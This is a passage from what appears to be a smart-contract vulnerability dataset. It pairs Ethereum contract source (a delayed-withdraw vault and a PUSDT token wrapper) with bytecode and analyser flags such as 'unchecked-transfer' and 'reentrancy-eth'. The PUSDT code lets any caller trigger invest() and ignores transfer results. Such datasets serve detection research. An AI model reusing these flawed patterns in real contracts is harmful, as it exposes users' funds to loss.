39190611ceb565b816001815181106113d6576113d6611c75565b6001600160a01b0392831660209182029290920101526014546113fc9130911684610b97565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611435908590600090869030904290600401611d08565b600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114855761148561150b565b611490848484611539565b80610a7857610a78600e54600c55600f54600d55565b60008060006114b3611630565b90925090506114c282826114c9565b9250505090565b60006112e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611670565b600c5415801561151b5750600d54155b1561152257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154b8761169e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157d90876116fb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ac908661173d565b6001600160a01b0389166000908152600260205260409020556115ce8161179c565b6115d884836117e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164b82826114c9565b82101561166757505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116915760405162461bcd60e51b815260040161062f9190611a2e565b5060006112288486611d79565b60008060008060008060008060006116bb8a600c54600d5461180a565b92509250925060006116cb6114a6565b905060008060006116de8e87878761185f565b919e509c509a509598509396509194505050505091939550919395565b60006112e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f7565b60008061174a8385611cbc565b9050838110156112e85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062f565b60006117a66114a6565b905060006117b483836118af565b306000908152600260205260409020549091506117d1908261173d565b30600090815260026020526040902055505050565b6006546117f390836116fb565b600655600754611803908261173d565b6007555050565b6000808080611824606461181e89896118af565b906114c9565b90506000611837606461181e8a896118af565b9050600061184f826118498b866116fb565b906116fb565b9992985090965090945050505050565b600080808061186e88866118af565b9050600061187c88876118af565b9050600061188a88886118af565b9050600061189c8261184986866116fb565b939b939a50919850919650505050505050565b6000826118be575060006106b5565b60006118ca8385611d9b565b9050826118d78583611d79565b146112e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ff57600080fd5b803561196481611944565b919050565b6000602080838503121561197c57600080fd5b823567ffffffffffffffff8082111561199457600080fd5b818501915085601f8301126119a857600080fd5b8135818111156119ba576119ba61192e565b8060051b604051601f19603f830116810181811085821117156119df576119df61192e565b6040529182528482019250838101850191888311156119fd57600080fd5b938501935b82851015611a2257611a1385611959565b84529385019392850192611a02565b98975050505050505050565b600060208083528351808285015260005b81811015611a5b57858101830151858201604001528201611a3f565b81811115611a6d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9657600080fd5b8235611aa181611944565b946020939093013593505050565b600080600060608486031215611ac457600080fd5b8335611acf81611944565b92506020840135611adf81611944565b929592945050506040919091013590565b600060208284031215611b0257600080fd5b81356112e881611944565b8035801515811461196457600080fd5b600060208284031215611b2f57600080fd5b6112e882611b0d565b600060208284031215611b4a57600080fd5b5035919050565b60008060008060808587031215611b6757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9857600080fd5b833567ffffffffffffffff80821115611bb057600080fd5b818601915086601f830112611bc457600080fd5b813581811115611bd357600080fd5b8760208260051b8501011115611be857600080fd5b602092830195509350611bfe9186019050611b0d565b90509250925092565b60008060408385031215611c1a57600080fd5b8235611c2581611944565b91506020830135611c3581611944565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb557611cb5611c8b565b5060010190565b60008219821115611ccf57611ccf611c8b565b500190565b600082821015611ce657611ce6611c8b565b500390565b600060208284031215611cfd57600080fd5b81516112e881611944565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d585784516001600160a01b031683529383019391830191600101611d33565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db557611db5611c8b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220003221852f15a8053dc8697134a5ee178cbed450222a5afc7300d8c0d059344664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,210 |
0xc783e5e67b646282fa1ba80878c9debbbceee11a
|
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DelayedWithdraw is Ownable {
using SafeMath for uint256;
uint256 constant delay = 7 days;
Withdrawal private withdrawal;
IERC20 ctsi;
struct Withdrawal {
address receiver;
uint256 amount;
uint256 timestamp;
}
/// @notice Constructor
/// @param _ctsi IERC20 that this contract is gonna work with
constructor(IERC20 _ctsi) public {
ctsi = _ctsi;
}
/// @notice Get the amount of tokens to be released next withdrawal
function getWithdrawalAmount() public view returns (uint256) {
return withdrawal.amount;
}
/// @notice Get the receiver of tokens to be released next withdrawal
function getWithdrawalReceiver() public view returns (address) {
return withdrawal.receiver;
}
/// @notice Get the timestamp of when next withdrawal was created
function getWithdrawalTimestamp() public view returns (uint256) {
return withdrawal.timestamp;
}
/// @notice Creates a withdrawal request that will be finalized after delay time
/// @param _receiver address that will receive the token
/// @param _amount amount of tokens for the request
function requestWithdrawal(
address _receiver,
uint256 _amount
)
public
onlyOwner()
returns (bool)
{
require(_amount > 0, "withdrawal amount has to be bigger than 0");
uint256 newAmount = withdrawal.amount.add(_amount);
require(
newAmount <= ctsi.balanceOf(address(this)),
"Not enough tokens in the contract for this Withdrawal request"
);
withdrawal.receiver = _receiver;
withdrawal.amount = newAmount;
withdrawal.timestamp = block.timestamp;
emit WithdrawRequested(_receiver, newAmount, block.timestamp);
return true;
}
/// @notice Finalizes withdraw and transfer the tokens to receiver
function finalizeWithdraw() public onlyOwner returns (bool) {
uint256 amount = withdrawal.amount;
require(
withdrawal.timestamp.add(delay) <= block.timestamp,
"Withdrawal is not old enough to be finalized"
);
require(amount > 0, "There are no active withdrawal requests");
withdrawal.amount = 0;
ctsi.transfer(withdrawal.receiver, amount);
emit WithdrawFinalized(withdrawal.receiver, amount);
return true;
}
/// @notice Cancel any pending unfinalized withdrawal
function cancelWithdrawal() public onlyOwner returns (bool) {
require(withdrawal.amount > 0, "There are no active withdrawal requests");
emit WithdrawCanceled(withdrawal.receiver, withdrawal.amount, block.timestamp);
withdrawal.amount = 0;
return true;
}
/// @notice Events signalling interactions
event WithdrawRequested(address _receiver, uint256 _amount, uint256 _timestamp);
event WithdrawCanceled(address _receiver, uint256 _amount, uint256 _timestamp);
event WithdrawFinalized(address _receiver, uint256 _amount);
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146100e0578063d18f9a5714610104578063da95ebf71461010c578063dbd27a1e14610138578063f2fde38b1461014057610093565b806322611280146100985780632c139e56146100b457806330fcc737146100ce578063715018a6146100d6575b600080fd5b6100a0610166565b604080519115158252519081900360200190f35b6100bc610258565b60408051918252519081900360200190f35b6100a061025e565b6100de61042c565b005b6100e86104ce565b604080516001600160a01b039092168252519081900360200190f35b6100e86104dd565b6100a06004803603604081101561012257600080fd5b506001600160a01b0381351690602001356104ec565b6100bc6106c7565b6100de6004803603602081101561015657600080fd5b50356001600160a01b03166106cd565b60006101706107c5565b6000546001600160a01b039081169116146101c0576040805162461bcd60e51b815260206004820181905260248201526000805160206108a1833981519152604482015290519081900360640190fd5b6002546101fe5760405162461bcd60e51b815260040180806020018281038252602781526020018061082b6027913960400191505060405180910390fd5b600154600254604080516001600160a01b03909316835260208301919091524282820152517fc4d117100433dc3e9c2d45638e275b85825b34d885843496c575b6084f4ec03f9181900360600190a1506000600255600190565b60035490565b60006102686107c5565b6000546001600160a01b039081169116146102b8576040805162461bcd60e51b815260206004820181905260248201526000805160206108a1833981519152604482015290519081900360640190fd5b60025460035442906102d39062093a8063ffffffff6107c916565b11156103105760405162461bcd60e51b815260040180806020018281038252602c8152602001806108c1602c913960400191505060405180910390fd5b6000811161034f5760405162461bcd60e51b815260040180806020018281038252602781526020018061082b6027913960400191505060405180910390fd5b60006002819055600480546001546040805163a9059cbb60e01b81526001600160a01b0392831694810194909452602484018690525191169263a9059cbb92604480820193602093909283900390910190829087803b1580156103b157600080fd5b505af11580156103c5573d6000803e3d6000fd5b505050506040513d60208110156103db57600080fd5b5050600154604080516001600160a01b0390921682526020820183905280517f8e1bbfcc2e88f484062a93a44160036795ec33851df7fdea7e00108bfe4e82e49281900390910190a1600191505090565b6104346107c5565b6000546001600160a01b03908116911614610484576040805162461bcd60e51b815260206004820181905260248201526000805160206108a1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001546001600160a01b031690565b60006104f66107c5565b6000546001600160a01b03908116911614610546576040805162461bcd60e51b815260206004820181905260248201526000805160206108a1833981519152604482015290519081900360640190fd5b600082116105855760405162461bcd60e51b81526004018080602001828103825260298152602001806108786029913960400191505060405180910390fd5b60025460009061059b908463ffffffff6107c916565b60048054604080516370a0823160e01b81523093810193909352519293506001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156105e957600080fd5b505afa1580156105fd573d6000803e3d6000fd5b505050506040513d602081101561061357600080fd5b50518111156106535760405162461bcd60e51b815260040180806020018281038252603d8152602001806108ed603d913960400191505060405180910390fd5b600180546001600160a01b0386166001600160a01b031990911681179091556002829055426003819055604080519283526020830184905282810191909152517fd72eb5d043f24a0168ae744d5c44f9596fd673a26bf74d9646bff4b844882d149181900360600190a15060019392505050565b60025490565b6106d56107c5565b6000546001600160a01b03908116911614610725576040805162461bcd60e51b815260206004820181905260248201526000805160206108a1833981519152604482015290519081900360640190fd5b6001600160a01b03811661076a5760405162461bcd60e51b81526004018080602001828103825260268152602001806108526026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082820183811015610823576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe546865726520617265206e6f20616374697665207769746864726177616c2072657175657374734f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573737769746864726177616c20616d6f756e742068617320746f20626520626967676572207468616e20304f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725769746864726177616c206973206e6f74206f6c6420656e6f75676820746f2062652066696e616c697a65644e6f7420656e6f75676820746f6b656e7320696e2074686520636f6e747261637420666f722074686973205769746864726177616c2072657175657374a2646970667358221220ca1a3fab77bba9e66b9a41077579f837787f3d20ab7e0f9bd364d2f71f45eeff64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,211 |
0xaFF31a9409f6330fBfD32162e6a9ca9C765e541A
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external ;
function decimals() external view returns (uint8);
}
contract PUSDT {
using SafeMath for uint256;
string public name = "PairX Tether USD";
string public symbol = "PUSDT";
uint8 public decimals = 6;
uint256 public totalPUSDT = 0;
uint256 public usedUSDT = 0;
address public investAddr;
address public managerAddr;
bool public reEntrancyMutex = false;//Mutexes that prevent reentrant attacks
bool public canDeposit = true;//Allow to deposit.
IERC20 usdt;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Refund(address indexed src, uint256 principle);
event Withdrawal(address indexed src, uint256 wad);
event Invest(address indexed src, uint256 wad);
event ChangeIvAddr(address indexed src, address indexed newAddr);
event ChangeMngAddr(address indexed src, address indexed newAddr);
event ChangeDeposit(address indexed src, bool canDeposit);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
constructor(address _investAddr,address _managerAddr,IERC20 _usdt) public {
investAddr = _investAddr;
managerAddr = _managerAddr;
usdt = _usdt;
}
function deposit(uint256 wad) public {
require(canDeposit);
balanceOf[msg.sender] = balanceOf[msg.sender].add(wad);
totalPUSDT = totalPUSDT.add(wad);
emit Transfer(address(0), msg.sender, wad);
usdt.transferFrom(msg.sender, address(this), wad);
emit Deposit(msg.sender, wad);
}
function refund(uint256 principle) public {
usedUSDT = usedUSDT.sub(principle);
usdt.transferFrom(msg.sender, address(this), principle);
emit Refund(msg.sender, principle);
}
function withdraw(uint256 wad) public {
require(!reEntrancyMutex);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad);
totalPUSDT = totalPUSDT.sub(wad);
reEntrancyMutex = true;
usdt.transfer(msg.sender, wad);
emit Transfer(msg.sender, address(0), wad);
emit Withdrawal(msg.sender, wad);
reEntrancyMutex = false;
}
function invest(uint256 wad) public {
usedUSDT = usedUSDT.add(wad);
usdt.transfer(investAddr, wad);
emit Invest(msg.sender, wad);
}
function changeIvAddr(address newAddr) public {
require(msg.sender == investAddr, "Only investAddr can change Invest Address.");
investAddr = newAddr;
emit ChangeIvAddr(msg.sender, newAddr);
}
function changeMngAddr(address newAddr) public {
require(msg.sender == managerAddr, "Only managerAddr can change manager Address.");
managerAddr = newAddr;
emit ChangeMngAddr(msg.sender, newAddr);
}
function changeDeposit(bool _canDeposit) public {
require(msg.sender == managerAddr, "Only managerAddr can change Deposit State.");
canDeposit = _canDeposit;
emit ChangeDeposit(msg.sender, _canDeposit);
}
function totalSupply() public view returns (uint256) {
return totalPUSDT;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint256 wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] = allowance[src][msg.sender].sub(wad);
}
balanceOf[src] = balanceOf[src].sub(wad);
balanceOf[dst] = balanceOf[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063b6b55f251161007c578063b6b55f251461058e578063cbc9d6c2146105bc578063dd62ed3e146105f0578063df10397d14610668578063e29a3b40146106ac578063e78a5875146106dc57610142565b806370a082311461041157806383dcb0921461046957806395d89b4114610487578063a9059cbb1461050a578063b0fdbb8a1461056e57610142565b80632afcf4801161010a5780632afcf480146102fe5780632e1a7d4d1461032c5780632e3c9e991461035a5780632e817dff1461038e578063313ce567146103ac5780633dd43192146103cd57610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e57806323b872dd1461024c578063278ecde1146102d0575b600080fd5b61014f6106fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079a565b60405180821515815260200191505060405180910390f35b61023661088c565b6040518082815260200191505060405180910390f35b6102b86004803603606081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b60405180821515815260200191505060405180910390f35b6102fc600480360360208110156102e657600080fd5b8101908080359060200190929190505050610cf4565b005b61032a6004803603602081101561031457600080fd5b8101908080359060200190929190505050610e29565b005b6103586004803603602081101561034257600080fd5b8101908080359060200190929190505050610f62565b005b6103626111c4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103966111ea565b6040518082815260200191505060405180910390f35b6103b46111f0565b604051808260ff16815260200191505060405180910390f35b61040f600480360360208110156103e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611203565b005b6104536004803603602081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611346565b6040518082815260200191505060405180910390f35b61047161135e565b6040518082815260200191505060405180910390f35b61048f611364565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104cf5780820151818401526020810190506104b4565b50505050905090810190601f1680156104fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611402565b60405180821515815260200191505060405180910390f35b610576611417565b60405180821515815260200191505060405180910390f35b6105ba600480360360208110156105a457600080fd5b810190808035906020019092919050505061142a565b005b6105c4611673565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106526004803603604081101561060657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611699565b6040518082815260200191505060405180910390f35b6106aa6004803603602081101561067e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116be565b005b6106da600480360360208110156106c257600080fd5b81019080803515159060200190929190505050611802565b005b6106e4611915565b60405180821515815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107925780601f1061076757610100808354040283529160200191610792565b820191906000526020600020905b81548152906001019060200180831161077557829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108e457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109bc57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673fffffffffffffffffffff